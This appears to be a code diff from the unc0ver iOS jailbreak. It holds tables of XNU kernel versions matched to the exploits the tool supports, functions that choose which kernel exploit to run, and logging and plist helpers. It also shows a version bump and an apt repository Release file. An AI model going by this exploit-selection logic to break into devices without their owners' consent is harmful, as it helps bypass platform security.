@"4570.50.257~6",
|
||||
@"4570.50.279~9",
|
||||
@"4570.50.294~5",
|
||||
@"4570.52.2~3",
|
||||
@"4570.52.2~8",
|
||||
@"4570.60.10.0.1~16",
|
||||
@"4570.60.16~9",
|
||||
@"4570.60.19~25",
|
||||
@"4570.60.21~7",
|
||||
@"4570.60.21~3",
|
||||
@"4570.70.14~16",
|
||||
@"4570.70.19~13",
|
||||
@"4570.70.24~9",
|
||||
@"4570.70.24~3"];
|
||||
for (NSString *string in list) {
|
||||
if (kernelVersionContains(string.UTF8String) &&
|
||||
!jailbreakEnabled()) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case necp_exploit: {
|
||||
NSArray *list =
|
||||
@[@"4397.0.0.2.4~1",
|
||||
@"4481.0.0.2.1~1",
|
||||
@"4532.0.0.0.1~30",
|
||||
@"4556.0.0.2.5~1",
|
||||
@"4570.1.24.2.3~1",
|
||||
@"4570.2.3~8",
|
||||
@"4570.2.5~84",
|
||||
@"4570.2.5~167",
|
||||
@"4570.7.2~3",
|
||||
@"4570.20.55~10",
|
||||
@"4570.20.62~9",
|
||||
@"4570.20.62~4",
|
||||
@"4570.30.79~22",
|
||||
@"4570.30.85~18",
|
||||
@"4570.32.1~2",
|
||||
@"4570.32.1~1",
|
||||
@"4570.40.6~8",
|
||||
@"4570.40.9~7",
|
||||
@"4570.40.9~1",
|
||||
@"4570.50.243~9",
|
||||
@"4570.50.257~6",
|
||||
@"4570.50.279~9",
|
||||
@"4570.50.294~5",
|
||||
@"4570.52.2~3",
|
||||
@"4570.52.2~8",
|
||||
@"4570.60.10.0.1~16",
|
||||
@"4570.60.16~9",
|
||||
@"4570.60.19~25",
|
||||
@"4570.60.21~7",
|
||||
@"4570.60.21~3",
|
||||
@"4570.70.14~16",
|
||||
@"4570.70.19~13",
|
||||
@"4570.70.24~9",
|
||||
@"4570.70.24~3"];
|
||||
for (NSString *string in list) {
|
||||
if (kernelVersionContains(string.UTF8String)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
bool jailbreakSupported() {
|
||||
return supportsExploit(empty_list_exploit) ||
|
||||
supportsExploit(multi_path_exploit) ||
|
||||
supportsExploit(async_wake_exploit);
|
||||
}
|
||||
|
||||
bool respringSupported() {
|
||||
return supportsExploit(deja_xnu_exploit);
|
||||
}
|
||||
|
||||
bool restartSupported() {
|
||||
return supportsExploit(necp_exploit);
|
||||
}
|
||||
|
||||
NSInteger recommendedJailbreakSupport() {
|
||||
if (supportsExploit(async_wake_exploit))
|
||||
return async_wake_exploit;
|
||||
else if (supportsExploit(multi_path_exploit))
|
||||
return multi_path_exploit;
|
||||
else if (supportsExploit(empty_list_exploit))
|
||||
return empty_list_exploit;
|
||||
else
|
||||
return -1;
|
||||
}
|
||||
|
||||
NSInteger recommendedRestartSupport() {
|
||||
if (supportsExploit(necp_exploit))
|
||||
return necp_exploit;
|
||||
else
|
||||
return -1;
|
||||
}
|
||||
|
||||
NSInteger recommendedRespringSupport() {
|
||||
if (supportsExploit(deja_xnu_exploit))
|
||||
return deja_xnu_exploit;
|
||||
else
|
||||
return -1;
|
||||
}
|
||||
|
||||
bool daemonIsLoaded(char *daemonID) {
|
||||
int rv = systemf("/bin/launchctl list | grep %s", daemonID);
|
||||
bool isLoaded = !WEXITSTATUS(rv);
|
||||
LOG("Daemon: \"%s\" is%s loaded", daemonID, isLoaded?"":" not");
|
||||
return isLoaded;
|
||||
}
|
||||
|
||||
NSString *bundledResourcesVersion() {
|
||||
NSBundle *bundle = [NSBundle mainBundle];
|
||||
return [bundle objectForInfoDictionaryKey:@"BundledResources"];
|
||||
}
|
||||
|
||||
NSString *appVersion() {
|
||||
NSBundle *bundle = [NSBundle mainBundle];
|
||||
return [bundle objectForInfoDictionaryKey:@"CFBundleShortVersionString"];
|
||||
}
|
||||
|
||||
bool debuggerEnabled() {
|
||||
return (getppid() != 1);
|
||||
}
|
||||
|
||||
const char *getLogFile() {
|
||||
static const char *logfile = NULL;
|
||||
if (logfile == NULL) {
|
||||
NSString *homeDirectory = NSHomeDirectory();
|
||||
logfile = [NSString stringWithFormat:@"%@/Documents/log_file.txt", homeDirectory].UTF8String;
|
||||
}
|
||||
return logfile;
|
||||
}
|
||||
|
||||
void enableLogging() {
|
||||
if (!debuggerEnabled()) {
|
||||
int old_logfd = logfd;
|
||||
int newfd = open(getLogFile(), O_WRONLY|O_CREAT, 0);
|
||||
if (newfd > 0) {
|
||||
init_file(getLogFile(), 501, 0644);
|
||||
}
|
||||
logfd = newfd;
|
||||
if (old_logfd > 0)
|
||||
close(old_logfd);
|
||||
}
|
||||
}
|
||||
|
||||
void disableLogging() {
|
||||
if (!debuggerEnabled()) {
|
||||
int old_logfd = logfd;
|
||||
logfd = -1;
|
||||
if (old_logfd > 0)
|
||||
close(old_logfd);
|
||||
}
|
||||
}
|
||||
|
||||
void cleanLogs() {
|
||||
const char *logFile = getLogFile();
|
||||
clean_file(logFile);
|
||||
enableLogging();
|
||||
}
|
||||
|
||||
bool modifyPlist(NSString *filename, void (^function)(id)) {
|
||||
LOG("%s: Will modify plist: %@", __FUNCTION__, filename);
|
||||
NSData *data = [NSData dataWithContentsOfFile:filename];
|
||||
if (data == nil) {
|
||||
LOG("%s: Failed to read file: %@", __FUNCTION__, filename);
|
||||
return false;
|
||||
}
|
||||
NSPropertyListFormat format = 0;
|
||||
NSError *error = nil;
|
||||
id plist = [NSPropertyListSerialization propertyListWithData:data options:NSPropertyListMutableContainersAndLeaves format:&format error:&error];
|
||||
if (plist == nil) {
|
||||
LOG("%s: Failed to generate plist data: %@", __FUNCTION__, error);
|
||||
return false;
|
||||
}
|
||||
if (function) {
|
||||
function(plist);
|
||||
}
|
||||
NSData *newData = [NSPropertyListSerialization dataWithPropertyList:plist format:format options:0 error:&error];
|
||||
if (newData == nil) {
|
||||
LOG("%s: Failed to generate new plist data: %@", __FUNCTION__, error);
|
||||
return false;
|
||||
}
|
||||
if (![data isEqual:newData]) {
|
||||
LOG("%s: Writing to file: %@", __FUNCTION__, filename);
|
||||
if (![newData writeToFile:filename atomically:YES]) {
|
||||
LOG("%s: Failed to write to file: %@", __FUNCTION__, filename);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
LOG("%s: Success", __FUNCTION__);
|
||||
return true;
|
||||
}
|
||||
|
||||
void list(NSString *directory) {
|
||||
NSFileManager *fileManager = [NSFileManager defaultManager];
|
||||
NSArray *listArray = [fileManager contentsOfDirectoryAtPath:directory error:nil];
|
||||
LOG(@"%s(%@): %@", __FUNCTION__, directory, listArray);
|
||||
}
|
||||
|
||||
__attribute__((constructor))
|
||||
static void ctor() {
|
||||
sourcePath = [[NSBundle mainBundle] bundlePath];
|
||||
}
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
v2.0.1
|
||||
2.1.1
|
||||
@@ -0,0 +1,8 @@
|
||||
Origin: Undecimus
|
||||
Label: Undecimus
|
||||
Suite: stable
|
||||
Version: 0.1
|
||||
Codename: Undecimus
|
||||
Architectures: iphoneos-arm
|
||||
Components: main
|
||||
Description: Unc0ver Bundled
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user